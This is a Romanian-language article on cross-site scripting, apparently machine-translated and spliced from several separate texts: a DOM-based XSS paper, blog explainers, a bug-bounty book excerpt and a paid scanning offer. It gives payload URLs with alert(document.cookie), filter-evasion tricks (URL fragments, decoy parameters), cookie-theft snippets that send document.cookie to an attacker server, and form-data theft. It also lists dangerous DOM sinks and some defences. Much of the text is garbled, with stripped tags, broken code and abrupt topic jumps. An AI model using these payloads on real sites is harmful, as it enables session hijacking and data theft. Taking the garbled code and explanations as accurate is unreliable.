Cross-site scripting xss. Atacurile XSS: ce sunt și cât de periculoase sunt. Exemplu de scenariu de atac

Știm cu toții ce este cross-site scripting, nu? Aceasta este o vulnerabilitate în care atacatorul trimite date rău intenționate (de obicei, care conțin HTML Cod Javascript), care sunt ulterior returnate de aplicație, determinând executarea codului Javascript. Deci acest lucru nu este adevărat! Există un tip de atac XSS care nu se potrivește acestei definiții, cel puțin în principiile sale fundamentale de bază. Atacurile XSS, așa cum sunt definite mai sus, sunt împărțite în instantanee (datele rău intenționate sunt încorporate într-o pagină care este returnată browserului imediat după solicitare) și întârziate (datele rău intenționate sunt returnate după un anumit timp). Dar există un al treilea tip de atac XSS, care nu se bazează pe trimiterea de date rău intenționate către server. Deși pare contraintuitiv, există două exemple bine documentate ale unui astfel de atac. Acest articol descrie al treilea tip de atacuri XSS - XSS prin DOM (XSS bazat pe DOM). Aici nu se va scrie nimic fundamental nou despre atac, mai degrabă inovația acestui material este în evidențierea trăsăturilor distinctive ale atacului, care sunt foarte importante și interesante.

Dezvoltatorii de aplicații și utilizatorii trebuie să înțeleagă principiile Atacurile XSS prin DOM, deoarece reprezintă o amenințare pentru aplicațiile web și este diferit de XSS obișnuit. Există multe aplicații web pe Internet care sunt vulnerabile la XSS prin DOM și în același timp testate pentru XSS și s-au dovedit a fi „invulnerabile” la acest tip de atac. Dezvoltatorii și administratorii site-ului ar trebui să se familiarizeze cu tehnicile de detectare și protejare împotriva XSS prin intermediul DOM, deoarece aceste tehnici diferă de tehnicile utilizate pentru a trata vulnerabilitățile XSS standard.

Introducere

Cititorul ar trebui să fie familiarizat cu principiile de bază ale atacurilor XSS (, , , , ). XSS se referă, de obicei, la scripturi instant() și lazy cross-site. Cu XSS instant, codul rău intenționat (Javascript) este returnat de serverul atacat imediat ca răspuns la o solicitare HTTP. XSS amânat înseamnă că codul rău intenționat este stocat pe sistemul atacat și poate fi ulterior injectat în Pagina HTML sistem vulnerabil. După cum sa menționat mai sus, această clasificare presupune că proprietatea fundamentală a XSS este că codul rău intenționat este trimis de la un browser la un server și returnat la același browser (flash XSS) sau la orice alt browser (întârziat XSS). Acest articol ridică problema că aceasta este o clasificare greșită. Capacitatea de a efectua un atac XSS care nu se bazează pe injectarea de cod în pagina returnată de server ar avea un impact major asupra tehnicilor de securitate și de detectare. Principiile unor astfel de atacuri sunt discutate în acest articol.

Exemplu și comentarii

Înainte de a descrie cel mai simplu scenariu de atac, este important să subliniem că metodele descrise aici au fost deja demonstrate public de mai multe ori (de exemplu, și ). Nu pretind că metodele de mai jos sunt descrise pentru prima dată (deși unele dintre ele diferă de materialele publicate anterior).

Un semn al unui site vulnerabil poate fi prezența unei pagini HTML care utilizează date de la document.location, document.URL sau document.referrer (sau orice alte obiecte care pot fi influențate de un atacator) într-un mod nesigur.

Notă pentru cititorii care nu sunt familiarizați cu aceste obiecte Javascript: Când codul Javascript rulează în browser, acesta accesează mai multe obiecte reprezentate în DOM (Document Object Model). Obiectul document este principalul dintre aceste obiecte și oferă acces la majoritatea proprietăților paginii. Acest obiect conține multe obiecte imbricate, cum ar fi locație, URL și referitor. Ele sunt controlate de browser în funcție de punctul de vedere al browserului (după cum se va vedea mai jos, acest lucru este destul de semnificativ). Deci, document.URL și document.location conțin adresa URL a paginii sau, mai precis, ceea ce înseamnă browserul prin URL. Vă rugăm să rețineți că aceste obiecte nu sunt preluate din corpul paginii HTML. Obiectul document conține un obiect body care conține codul HTML analizat al paginii.

Nu este dificil să găsești o pagină HTML care să conțină cod Javascript care analizează un șir URL (accesat prin document.URL sau document.location) și, în funcție de valoarea sa, efectuează unele acțiuni pe partea clientului. Mai jos este un exemplu de astfel de cod.

Prin analogie cu exemplul în, luați în considerare următoarea pagină HTML (presupunând că conținutul este http://www.vulnerable.site/welcome.html):

Bun venit! Salut var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.lungime));
Bun venit în sistemul nostru...

Cu toate acestea, o întrebare ca aceasta -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

ar provoca XSS. Să vedem de ce: browserul victimei, după ce a primit acest link, trimite o solicitare HTTP către www.vulnerable.site și primește pagina HTML (statică!) menționată mai sus. Browserul victimei începe să analizeze acest cod HTML. DOM conține un obiect document care are un câmp URL, iar acest câmp este completat cu valoarea adresei URL a paginii curente în timpul creării DOM. Când parserul ajunge la codul Javascript, îl execută, ceea ce provoacă modificarea codului HTML al paginii afișate. În acest caz, codul face referire la document.URL și deoarece o parte a acestui șir este încorporată în HTML în timpul parsării, care este imediat parsat, codul detectat (alerta(...)) este executat în contextul aceleiași pagini.

Note:

1. Codul rău intenționat nu este încorporat în pagina HTML (spre deosebire de alte tipuri de XSS).
2. Acest exploit va funcționa cu condiția ca browserul să nu fie modificat caractere URL. Mozilla codifică automat caracterele „” (în %3C și, respectiv, %3E) în obiectele document imbricate. Dacă adresa URL a fost introdusă direct în bara de adrese, acest browser nu este vulnerabil la atacul descris în acest exemplu. Totuși, dacă atacul nu necesită caracterele '' (în forma sa originală necodificată), atacul poate fi efectuat. Microsoft Internet Explorer 6.0 nu codifică „” și, prin urmare, este vulnerabil la atacul descris fără nicio restricție. Cu toate acestea, există multe scenarii de atac diferite care nu necesită „” și, prin urmare, nici Mozilla nu este imun la acest atac.

Metode de detectare și prevenire a vulnerabilităților de acest tip

În exemplul de mai sus, codul rău intenționat este încă trimis către server (ca parte a solicitării HTTP), astfel încât atacul poate fi detectat la fel ca orice alt atac XSS. Dar aceasta este o problemă rezolvabilă.

Luați în considerare următorul exemplu:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Observați simbolul „#” din dreapta numelui fișierului. Spune browserului că totul după acest caracter nu face parte din cerere. Microsoft Internet Explorer (6.0) și Mozilla nu trimit fragmentul după caracterul „#” către server, deci pentru server această solicitare va fi echivalentă cu http://www.vulnerable.site/welcome.html, adică. codul rău intenționat nici măcar nu va fi observat de server. Astfel, datorită acestei tehnici, browserul nu trimite o sarcină utilă rău intenționată către server.

Cu toate acestea, în unele cazuri, este imposibil să ascundeți încărcătura utilă: în și sarcina utilă rău intenționată face parte din numele de utilizator într-o adresă URL precum http://numeutilizator@gazdă/. În acest caz, browserul trimite o solicitare cu un antet de Autorizare care conține numele de utilizator (sarcină utilă rău intenționată), rezultând cod rău intenționat care ajunge la server (codificat Base64 - prin urmare IDS/IPS trebuie mai întâi să decodeze aceste date pentru a detecta atacul). Cu toate acestea, serverul nu este obligat să injecteze această sarcină utilă într-una dintre paginile HTML disponibile, deși aceasta este o condiție necesară pentru executarea unui atac XSS.

Evident, în situațiile în care sarcina utilă poate fi complet ascunsă, detectarea (IPS) și prevenirea (IPS) firewall-uri pentru aplicații web) nu poate proteja complet împotriva acestui atac. Chiar dacă sarcina utilă trebuie trimisă către server, în multe cazuri poate fi transformată într-un anumit mod pentru a evita detectarea. De exemplu, dacă un parametru este protejat (de exemplu, parametrul nume din exemplul de mai sus), o mică modificare a scriptului de atac poate produce următorul rezultat:

(document.cookie)

O politică de securitate mai strictă ar necesita trimiterea parametrului nume. În acest caz, puteți face următoarea solicitare:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Dacă politica dvs. de securitate restricționează numele de parametri suplimentari (de exemplu: foobar), puteți utiliza următoarea opțiune:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Vă rugăm să rețineți că parametrul ignorat (foobar) trebuie să fie primul și să conțină o sarcină utilă în valoarea sa.

Scenariul de atac descris în este și mai preferabil pentru atacator, deoarece valoarea completă a document.location este scrisă în pagina HTML (codul Javascript nu caută un anumit nume de parametru). Astfel, un atacator ar putea ascunde complet sarcina utilă trimițând următoarele:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Chiar dacă sarcina utilă este analizată de server, protecția poate fi garantată numai dacă cererea este respinsă sau răspunsul este înlocuit cu un text de eroare. Referindu-ne din nou la și: dacă antetul Autorizație este pur și simplu eliminat de sistemul de securitate intermediar, nu va avea niciun efect dacă pagina originală este returnată. De asemenea, orice încercare de procesare a datelor de pe server prin eliminarea sau codificarea caracterelor ilegale va fi ineficientă împotriva acestui atac.

În cazul document.referrer, sarcina utilă este trimisă la server prin antetul Referer. Cu toate acestea, dacă browserul sau protecția intermediară a utilizatorului elimină acest antet, nu va exista nicio urmă de atac, care poate trece complet nedetectat.

Pentru a rezuma, concluzionăm că metodele tradiționale, și anume

1. Codificare date HTML partea serverului
2. Eliminarea/codificarea de pe partea de server a intrărilor interzise nu funcționează împotriva DOM XSS.

Căutarea automată a vulnerabilităților prin „bombardarea” datelor rău intenționate (uneori numite fuzzing) nu va funcționa, deoarece programele care folosesc această tehnică fac de obicei inferențe pe baza faptului că datele încorporate sunt prezente sau nu în pagina returnată (în loc să execute codul în context). a browserului pe partea client și monitorizarea rezultatelor). Cu toate acestea, dacă programul poate analiza static codul Javascript găsit pe pagină, acesta poate indica semne suspecte (vezi mai jos). Și, desigur, dacă instrumentele de securitate pot executa cod Javascript (și inițializa corect obiectele DOM) sau pot emula o astfel de execuție, vor putea detecta acest atac.

Căutarea manuală a unei vulnerabilități folosind un browser va funcționa, de asemenea, deoarece browserul poate executa cod Javascript la nivelul clientului. Instrumentele de vulnerabilitate pot adopta această metodă și pot rula cod la nivelul clientului pentru a monitoriza rezultatele execuției sale.
Protecție eficientă

Evitați rescrierile, redirecționările sau alte acțiuni similare care utilizează date de la partea clientului. Cele mai multe dintre aceste acțiuni pot fi efectuate folosind pagini dinamice (partea server).
2.

Analiza și îmbunătățirea securității codului (Javascript) pe partea clientului. Referințele la obiectele DOM care pot fi influențate de utilizator (atacator) trebuie verificate cu atenție. O atenție deosebită trebuie acordată următoarelor obiecte (dar fără a se limita la acestea):
* document.URL
* document.URLUnencoded
* document.location (și proprietățile sale)
* document.referitor
* window.location (și proprietățile sale)

Rețineți că proprietățile documentului și ale obiectelor fereastră pot fi referite în mai multe moduri: explicit (exemplu: window.location), implicit (exemplu: locație), sau prin obținerea unui handle și folosindu-l (exemplu: handle_to_some_window.location).

O atenție deosebită trebuie acordată codului în care DOM-ul este modificat, fie explicit, fie potențial, prin acces direct la HTML sau prin acces direct la DOM. Exemple (aceasta nu este deloc o listă exhaustivă):
* Introducere în codul HTML al paginii:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Schimbarea directă a DOM (inclusiv evenimente DHTML):
o document.forms.action=… (și alte variante)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.corp. ... (accesați DOM-ul prin obiectul body)
o window.attachEvent(…)
* Modificarea adresei URL a documentului:
o document.location=… (precum și atribuirea valorilor href, gazdă și nume de gazdă obiectului locație)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o fereastră.navigate(…)
* Deschiderea/modificarea obiectului fereastră:
o document.deschide(…)
o fereastră.deschide(…)
o window.location.href=… (precum și atribuirea valorilor gazdei și numelui de gazdă obiectului locație)
* Executarea directă a scriptului:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Continuând cu exemplul de mai sus, pentru o protecție eficientă, scriptul original poate fi înlocuit cu următorul cod, care verifică ca șirul scris în pagina HTML să conțină doar caractere alfanumerice.

var pos=document.URL.indexOf("name=")+5;

var name=document.URL.substring(pos,document.URL.length);
3. Folosiți reguli stricte IPS, în care, de exemplu, pagina welcome.html are voie să primească un singur parametru numit „nume”, a cărui valoare este verificată și orice nepotrivire (inclusiv parametri redundanți sau parametrii lipsă) are ca rezultat o refuz de serviciu a paginilor originale, precum și orice altă încălcare (de exemplu, antete Autorizare sau Referer care conțin date problematice). Deși în unele cazuri chiar și astfel de măsuri nu garantează o protecție completă împotriva atacurilor.

Cross-site scripting (XSS pe scurt) este o vulnerabilitate larg răspândită care afectează multe aplicații web. Permite unui atacator să injecteze cod rău intenționat într-un site web, astfel încât browserul unui utilizator care vizitează site-ul va executa codul.

De obicei, exploatarea unei astfel de vulnerabilități necesită o anumită interacțiune cu utilizatorul: fie sunt atrași către un site infectat folosind inginerie socială, fie așteaptă pur și simplu ca utilizatorul să viziteze site-ul. Prin urmare, dezvoltatorii adesea nu iau în serios vulnerabilitățile XSS.

Dar dacă nu sunt abordate, acestea pot reprezenta un risc serios de securitate.

Să ne imaginăm că suntem în panoul de administrare WordPress, adăugând conținut nou. Dacă folosim un plugin XSS-vulnerabil pentru aceasta, acesta poate forța browserul să creeze un nou administrator, să modifice conținutul și să efectueze alte acțiuni rău intenționate. Cross-site scripting oferă unui atacator virtual control deplin peste cele mai importante softwareîn zilele noastre - un browser.

XSS: Vulnerabilitatea injectării

Orice site web sau aplicație are mai multe locuri pentru introducerea datelor - câmpuri de formular până la adresa URL în sine. Cel mai simplu exemplu date de intrare - când introducem numele de utilizator și parola în formularul:

Numele nostru va fi stocat în baza de date a site-ului pentru interacțiunile ulterioare cu noi. Cu siguranță, când v-ați conectat la orice site web, ați văzut un salut personal în stilul „Bine ați venit, Ilya”.

În acest scop, numele de utilizator sunt stocate în baza de date.

O injecție este o procedură când, în loc de nume sau parolă, se introduce o secvență specială de caractere, forțând serverul sau browserul să răspundă într-un anumit mod dorit de atacator.

Cross-site scripting este o injecție care injectează cod care va efectua acțiuni în browser în numele site-ului web. Acest lucru se poate întâmpla fie cu notificarea utilizatorului, fie în fundal, fără știrea acestuia.

Atacurile XSS tradiționale: reflectate (nepersistente).

Un atac XSS reflectat este declanșat atunci când un utilizator face clic pe un link special creat.

Aceste vulnerabilități apar atunci când datele furnizate de clientul web, cel mai adesea în parametrii de solicitare HTTP sau formular HTML, sunt executate direct de scripturi de pe partea serverului pentru a analiza și afișa pagina de rezultate pentru acel client, fără o procesare adecvată.

Stocat (persistent).

XSS stocat este posibil atunci când un atacator reușește să injecteze cod rău intenționat în server, care este executat în browser de fiecare dată când este accesată pagina originală. Un exemplu clasic al acestei vulnerabilități sunt forumurile care permit comentarii HTML.

Vulnerabilități cauzate de codul clientului (JavaScript, Visual Basic, Flash, etc.): De asemenea, cunoscut sub numele de DOM: Reflected (nepersistent).

La fel ca și în cazul părții server, doar în acest caz atacul este posibil datorită faptului că codul este procesat de browser.

Stocat (persistent).

Similar cu XSS stocat pe server, doar în acest caz componenta rău intenționată este stocată pe partea client folosind stocarea browserului.

Exemple de vulnerabilități XSS.

Interesant, în majoritatea cazurilor în care această vulnerabilitate este descrisă, ne sperie următorul cod:

Http://www.site.com/page.php?var=alert("xss");

Există două tipuri de vulnerabilități XSS - pasive și active.

Vulnerabilitatea activă este mai periculos, deoarece atacatorul nu trebuie să atragă victima folosind un link special, trebuie doar să injecteze codul în baza de date sau un fișier de pe server; Astfel, toți vizitatorii site-ului devin automat victime. Poate fi integrat, de exemplu, folosind injecția SQL. Prin urmare, nu ar trebui să aveți încredere în datele stocate în baza de date, chiar dacă au fost procesate în timpul inserării.

Exemplu vulnerabilitate pasivă O puteți vedea chiar la începutul articolului. Acest lucru necesită deja inginerie socială, de exemplu, o scrisoare importantă din partea administrației site-ului care vă cere să vă verificați setările contului după restaurarea dintr-o copie de rezervă. În consecință, trebuie să cunoașteți adresa victimei sau pur și simplu să aranjați un mesaj spam sau o postare pe un forum și nu este un fapt că victimele vor fi naive și vor urma linkul dvs.

Mai mult, atât parametrii POST, cât și GET pot fi susceptibili la vulnerabilitate pasivă. Cu parametrii POST, desigur, va trebui să apelezi la trucuri. De exemplu, o redirecționare de pe site-ul web al atacatorului.

document.getElementsByTagName("form").submit();

Prin urmare, vulnerabilitatea GET este puțin mai periculoasă, deoarece... este mai ușor pentru o victimă să observe un domeniu incorect decât parametru suplimentar(deși url-ul poate fi în general codificat).

Furtul de prăjituri

Acesta este cel mai frecvent citat exemplu de atac XSS. Site-urile Web stochează uneori unele informații valoroase în Cookie-uri (uneori chiar și numele de utilizator și parola (sau hash-ul acesteia)), dar cel mai periculos lucru este furtul unei sesiuni active, așa că nu uitați să faceți clic pe linkul „Ieșire” de pe site-uri web. , chiar dacă este un computer de acasă. Din fericire, pe majoritatea resurselor, durata de viață a sesiunii este limitată.

Var img = imagine nouă(); img.srс = "http://site/xss.php?" + document.cookie;

De aceea au introdus restricții de domeniu pe XMLHttpRequest, dar aceasta nu este o problemă pentru un atacator, deoarece există, , , background:url(); etc.

Furtul de date din formulare

Căutăm formularul prin, de exemplu, getElementById și monitorizăm evenimentul onsubmit. Acum, înainte de a trimite formularul, datele introduse sunt trimise și către serverul atacatorului.

Acest tip de atac amintește oarecum de phishing, doar că folosește un site real mai degrabă decât unul fals, care insuflă mai multă încredere victimei.

Atac DDoS (atac distribuit de refuz de serviciu)

O vulnerabilitate XSS pe resurse foarte vizitate poate fi folosită pentru a lansa un atac DDoS. Esența este simplă - există multe solicitări cărora serverul atacat nu le poate rezista.
De fapt, relația cu XSS este indirectă, deoarece scripturile nu pot fi folosite deloc, o construcție ca aceasta este suficientă:

Care sunt pericolele XSS?

Cum vă puteți proteja site-ul de XSS? Cum să vă verificați codul pentru vulnerabilități? Există tehnologii precum Sucuri Firewall care sunt special concepute pentru a evita astfel de atacuri. Dar dacă sunteți dezvoltator, cu siguranță veți dori să aflați mai multe despre cum să identificați și să reduceți vulnerabilitățile XSS.

Vom vorbi despre asta în următoarea parte a articolului despre XSS.

Folosind XSS, atacatorii experimentați integrează scripturi care rulează pe ei în paginile site-urilor victime, executate atunci când vizitează resurse infectate. Există mai multe tipuri de vulnerabilități XSS care prezintă grade diferite de severitate.

Caracteristici ale vulnerabilității pasive și active

Ar trebui să fii cel mai atent atunci când ai de-a face cu vulnerabilități active. Când un atacator își injectează codul SQL într-o bază de date sau într-un fișier accesibil de pe un server, fiecare vizitator al resursei infectate poate deveni o victimă. Astfel de locuri sunt adesea integrate, astfel încât chiar și datele stocate în baza de date, procesate de protecția dumneavoastră, pot reprezenta în continuare un anumit pericol.

Crearea unei vulnerabilități XSS pasive necesită o anumită ingeniozitate din partea atacatorului. Fie vă atrag către o resursă falsă cu tot felul de link-uri, fie încearcă să vă redirecționeze către site-ul necesar prin orice mijloace. Acest lucru se întâmplă de obicei prin scrisori din partea administrației fictive a paginii pe care o vizitați, prin care vă solicită să vă verificați setările contului. De asemenea, sunt utilizate în mod activ diverse mesaje spam sau postări pe forumuri larg vizitate.

Vulnerabilitățile XSS pasive pot proveni atât din parametrii POST, cât și din parametrii GET. Primele sunt caracterizate de o serie de trucuri diferite, în timp ce cele din urmă se caracterizează prin codificarea șirului URL sau inserarea de valori suplimentare.

Furtul de prăjituri

Cel mai adesea, cookie-urile dvs. devin ținta unui atac XSS. Uneori, acestea conțin informații valoroase, inclusiv date de conectare și parole ale utilizatorilor sau hash-ul lor. Dar furtul sesiunilor active ale site-urilor care sunt importante pentru tine este, de asemenea, destul de periculos, așa că nu uitați să faceți clic pe butonul „ieșire” chiar și atunci când vizitați site-uri cu computer de acasă. Deși majoritatea resurselor folosesc limite automate de durată a sesiunii pentru a preveni astfel de acțiuni. Restricțiile de domeniu XMLHttpRequest nu protejează împotriva unor astfel de atacuri.

Date din formularele completate

Citirea informațiilor în formulare care se pot completa este, de asemenea, populară. Pentru a face acest lucru, urmărirea evenimentelor (onsubmit) este efectuată pe paginile de interes și toate datele furnizate sunt trimise și către serverele atacatorilor. Astfel de atacuri sunt în multe privințe similare cu atacurile de tip phishing, dar furtul nu are loc pe unul fals, ci pe un site real cu o bună reputație.

Atacurile DDoS distribuite

Resursele multi-vizitate sunt, de asemenea, folosite pentru atacurile XSS. Datorită vulnerabilității XSS, cererile care vin la ei sunt redirecționate către serverul piratat, drept urmare protecția acestuia eșuează.

Falsificarea cererii pe mai multe site-uri (CSRF/XSRF)

De asemenea, au puține în comun cu XSS. Acesta este un tip separat de vulnerabilitate utilizat în combinație cu XSS. Scopul lor este de a atrage un utilizator autorizat de pe un site invulnerabil la o pagină vulnerabilă falsă pentru a efectua tranzacții frauduloase. De exemplu, un client care folosește sistem electronic plățile sunt atrase către un site web vulnerabil care transferă bani în conturile atacatorilor. Prin urmare, majoritatea sistemelor de plată oferă protecție prin introducerea suplimentară a unei parole sau a unui cod de confirmare a operațiunii.

Injectarea viermilor XSS

Un astfel de atac XSS asupra unui site web a apărut odată cu dezvoltarea unor rețele sociale binecunoscute (VKontakte, Twitter și altele). Prin intermediul acestora, grupuri întregi de utilizatori primesc legături XSS vulnerabile cu scripturi integrate care trimit spam prin rețele în numele lor. De asemenea, este practicat pe scară largă copierea simultană a informațiilor personale și a fotografiilor în resursele atacatorilor.

Exemple de XSS inofensive

Rețineți că multe tipuri de contoare acționează și ca XSS activ. Ei transmit date despre vizitatorii înregistrați (adresele IP ale acestora, date despre echipamentul utilizat).

Numai acest cod este integrat în computerul dvs. după dorința dvs. Alte XSS similare pot include cu ușurință o serie de solicitări AJAX pe mai multe domenii.

Cross-site scripting (XSS) se referă la un atac de injectare de cod pe partea clientului în care un atacator poate executa scripturi rău intenționate pe un site web sau pe o aplicație web. XSS este una dintre cele mai comune vulnerabilități ale aplicațiilor web și apare atunci când o aplicație web nu utilizează validarea sau codificarea de intrare/ieșire.

Prin utilizarea XSS, atacatorul nu vizează direct victima. În schimb, va exploata o vulnerabilitate dintr-un site web sau dintr-o aplicație web pe care o vizitează victima, utilizând în esență site-ul web vulnerabil ca vehicul pentru a livra un script rău intenționat browserului victimei.

În timp ce XSS poate fi folosit în VBScript, ActiveX și Flash (deși acesta din urmă este acum considerat depreciat), este, fără îndoială, cel mai larg abuzat în JavaScript - în primul rând pentru că JavaScript este fundamental pentru majoritatea site-urilor web.

Cum funcționează cross-site scripting

Pentru a rula cod JavaScript rău intenționat în browserul unei victime, atacatorul trebuie mai întâi să găsească o modalitate de a injecta sarcina utilă în pagina web pe care o vizitează victima. Desigur, un atacator ar putea folosi tehnici de inginerie socială pentru a convinge un utilizator să viziteze o pagină vulnerabilă cu o sarcină utilă JavaScript injectată.

Pentru ca un atac XSS să aibă loc, site-ul web vulnerabil trebuie să includă direct inputul utilizatorului în paginile sale. Atacatorul poate introduce apoi un șir care va fi folosit în pagina web și procesat ca cod de browserul victimei.

Următorul pseudocod pe partea de server este utilizat pentru a afișa cel mai recent comentariu pe o pagină web.

Print "" print "Cel mai recent comentariu" print database.latestComment print "" Scriptul de mai sus imprimă pur și simplu cel mai recent comentariu din baza de date de comentarii și imprimă conținutul pe pagina HTML, presupunând că comentariul tipărit este format doar din text.

Codul paginii de mai sus este vulnerabil la xss, deoarece un atacator poate lăsa un comentariu care conține o sarcină utilă rău intenționată, de ex.

face SomethingEvil();. Utilizatorii care vizitează pagina web vor primi următoarea pagină HTML.

Cel mai recent comentariu doSomethingEvil();

Când pagina se încarcă în browserul victimei, scriptul rău intenționat al atacatorului va fi executat, cel mai adesea fără ca utilizatorul să fie conștient sau să fie capabil să prevină un astfel de atac.

Notă importantă: vulnerabilitatea -xss poate exista numai dacă sarcina utilă (script-ul rău intenționat) pe care atacatorul o inserează este în cele din urmă redată (ca HTML în acest caz) în browserul victimei

Ce poate face un atacator cu JavaScript? Consecințele a ceea ce poate face un atacator cu capacitatea de a rula JavaScript pe o pagină web pot să nu fie imediat evidente, mai ales că browserele rulează JavaScript într-un mediu foarte controlat și că JavaScript are acces limitat La sistem de operare

fișiere utilizator și utilizator.

Cu toate acestea, având în vedere că JavaScript are acces la următoarele, este mai ușor de înțeles ce pot obține atacatorii creativi cu JavaScript. JavaScript rău intenționat are acces la toate aceleași obiecte ca și restul paginii web, inclusiv acces la cookie-uri. Cookie-urile sunt adesea folosite pentru a stoca jetoane de sesiune dacă un atacator ar putea obține prăjitură

sesiune utilizator, poate uzurpa identitatea respectivului utilizator.

JavaScript poate folosi XMLHttpRequest pentru a trimite solicitări http cu conținut arbitrar în direcții arbitrare. JavaScript în browsere moderne poate folosi API-uri HTML5, cum ar fi accesarea locației geografice a utilizatorului, a camerei web, a microfonului și chiar a anumitor fișiere din sistem de fișiere

În general, în combinație cu ingineria socială, aceste metode permit atacatorilor să organizeze atacuri precum furtul de cookie-uri, înregistrarea tastelor, phishingul și furtul de identitate. În mod critic, vulnerabilitățile XSS oferă terenul de reproducere perfect pentru atacatori pentru a escalada atacurile în altele mai grave.

Nu este scriptarea între site-uri o problemă pentru utilizator?

Nu. Dacă un atacator poate abuza de o vulnerabilitate XSS dintr-o pagină web pentru a executa JavaScript arbitrar în browserul vizitatorului, securitatea acelui site web sau a aplicației web și a utilizatorilor acesteia a fost compromisă - xss nu este problema utilizatorului și nici o altă vulnerabilitate de securitate dacă vă afectează utilizatorii, vă va afecta.

Anatomia unui atac de scripting între site-uri

Un atac Xss necesită trei participanți: site-ul, victima și atacatorul. Exemplul de mai jos presupune că scopul atacatorului este de a uzurpa identitatea victimei furând cookie-urile victimei. Trimiterea cookie-urilor către serverul atacatorului se poate face în diverse moduri, dintre care unul este prin executarea următorului cod JavaScript în browserul victimei folosind o vulnerabilitate XSS.

window.?cookie=" + document.cookie Imaginea de mai jos arată ghid pas cu pas printr-un simplu atac XSS.

• Un atacator introduce sarcina utilă în baza de date a unui site web prin trimiterea unui formular vulnerabil folosind cod rău intenționat JavaScript
• Victima solicită o pagină web de pe un site web
• Site-ul web oferă browserului victimei o pagină cu încărcătura utilă a atacatorului ca parte a corpului HTML.
• Browserul victimei va executa scriptul rău intenționat în interiorul corpului HTML. În acest caz, va trimite cookie-urile victimei către serverul atacatorului. Acum atacatorul trebuie pur și simplu să extragă cookie-ul victimei când o solicitare HTTP ajunge la server, după care atacatorul poate folosi cookie-ul furat al victimei.

Câteva exemple de scripturi de atac între site-uri

Mai jos este o mică listă de scenarii de atac XSS pe care un atacator le poate folosi pentru a compromite securitatea unui site web sau a unei aplicații web.

etichetă

Această etichetă este cea mai directă vulnerabilitate xss. Eticheta de script poate fi conectată la cod JavaScript extern.

alert("XSS");

etichetă

Cu xss, injecția poate fi livrată în interiorul etichetei folosind atributul onload sau un alt atribut mai întunecat, cum ar fi fundalul. .

tag Această etichetă vă permite să încorporați o altă pagină HTML în pagina părinte. Un iFrame poate conține JavaScript, totuși este important să rețineți că JavaScript într-un iFrame nu are acces la DOM-ul paginii părinte din cauza Politicii de securitate a conținutului (CSP) a browserului. Cu toate acestea, IFrame-urile sunt încă un mijloc foarte eficient de atacuri de tip phishing.

etichetă

În unele browsere, dacă atributul de tip al acestei etichete este setat la imagine, acesta poate fi folosit pentru a găzdui un script.

etichetă

Eticheta, care este adesea folosită pentru a lega foi de stil externe, poate conține script.

etichetă

Atributul de fundal al etichetelor table și td poate fi folosit pentru a indica un script în loc de o imagine.

etichetă

În etichetă, asemănător

Şi

etichete puteți specifica fundalul și, prin urmare, puteți introduce scriptul. etichetă Această etichetă poate fi folosită pentru a fi inclusă într-un script de pe un site extern. Este site-ul dvs. vulnerabil la cross-site scripting? Vulnerabilitățile XSS sunt printre cele mai comune vulnerabilități ale aplicațiilor web de pe Internet. Din fericire, este ușor să verificați dacă site-ul sau aplicația dvs. web este vulnerabilă la XSS și alte vulnerabilități, contactându-mă pur și simplu. Te voi ajuta cu o mică taxă programe specialeÎți voi scana resursa, voi găsi potențiale vulnerabilități și îți voi spune cum să le elimini. Cross-site scripting, sau Cross site scripting, sau XSS, implică un site care include cod Javascript neintenționat, care, la rândul său, este transmis utilizatorilor care execută codul în browserele lor. Un exemplu inofensiv de XSS (care este exact ceea ce ar trebui să utilizați!) arată astfel: alert('XSS'); Aceasta va apela funcția de alertă Javascript și va crea o casetă simplă (și inofensivă) cu literele XSS. ÎN versiunile anterioare carte, v-am recomandat să folosiți acest exemplu atunci când scrieți rapoarte. Asta până când un hacker extrem de de succes mi-a spus că este un „exemplu oribil”, explicând că destinatarul unui raport de vulnerabilitate ar putea să nu realizeze gravitatea problemei și, pentru că exemplul este inofensiv, va plăti o mică recompensă. Așadar, utilizați acest exemplu pentru a detecta o vulnerabilitate XSS, dar atunci când scrieți raportul, gândiți-vă la potențialul rău pe care l-ar putea provoca vulnerabilitatea și explicați-l. Prin aceasta, nu mă refer să spun companiei ce este XSS, ci mai degrabă să explic ce puteți obține prin exploatarea vulnerabilității și cum ar putea afecta în mod specific site-ul lor. Sunt trei diverse tipuri XSS despre care poate ați auzit în timp ce cercetați și raportați: XSS reflectorizant: Aceste atacuri nu sunt stocate pe site, adică XSS-ul este generat și executat într-o singură cerere și răspuns. XSS stocat: Aceste atacuri sunt stocate pe site și sunt adesea mai periculoase. Acestea sunt stocate pe server și executate pe pagini „normale” de către utilizatori nebănuiți. Self XSS: De asemenea, aceste atacuri nu sunt stocate pe site și sunt utilizate de obicei ca parte a păcălirii unei persoane pentru a rula ei înșiși XSS îi pasă de cazurile în care vătămarea utilizatorilor lor poate veni de la altcineva decât ei înșiși, așa cum este cazul cu Reflective și Stored XSS. Totuși, asta nu înseamnă că nu ar trebui să cauți Self XSS. Dacă găsiți o situație în care Self XSS poate fi executat, dar nu salvat, gândiți-vă cum ar putea fi exploatată această vulnerabilitate, o puteți folosi în combinație cu ceva astfel încât să nu mai fie Self XSS? Una dintre cele mai multe exemple celebre folosind XSS - MySpace Samy Work de Samy Kamkar. În octombrie 2005, Sami a exploatat o vulnerabilitate XSS stocată în MySpace, ceea ce i-a permis să încarce cod Javascript care a fost executat de fiecare dată când cineva i-a vizitat pagina MySpace, adăugând vizitatorul paginii ca prieten al profilului lui Sami. Mai mult, codul s-a copiat și pe paginile noilor prieteni ai lui Samy, astfel încât profilurile noilor săi prieteni au fost actualizate cu următorul text: „dar mai ales, Samy este eroul meu”. Deși exemplul lui Sami a fost relativ inofensiv, utilizarea XSS vă permite să furați date de conectare, parole, informații bancare și așa mai departe. În ciuda potențialului rău, repararea vulnerabilităților XSS nu este în general dificilă și necesită dezvoltatorilor să scape pur și simplu de intrarea utilizatorului (la fel ca injecția HTML) atunci când o redă. 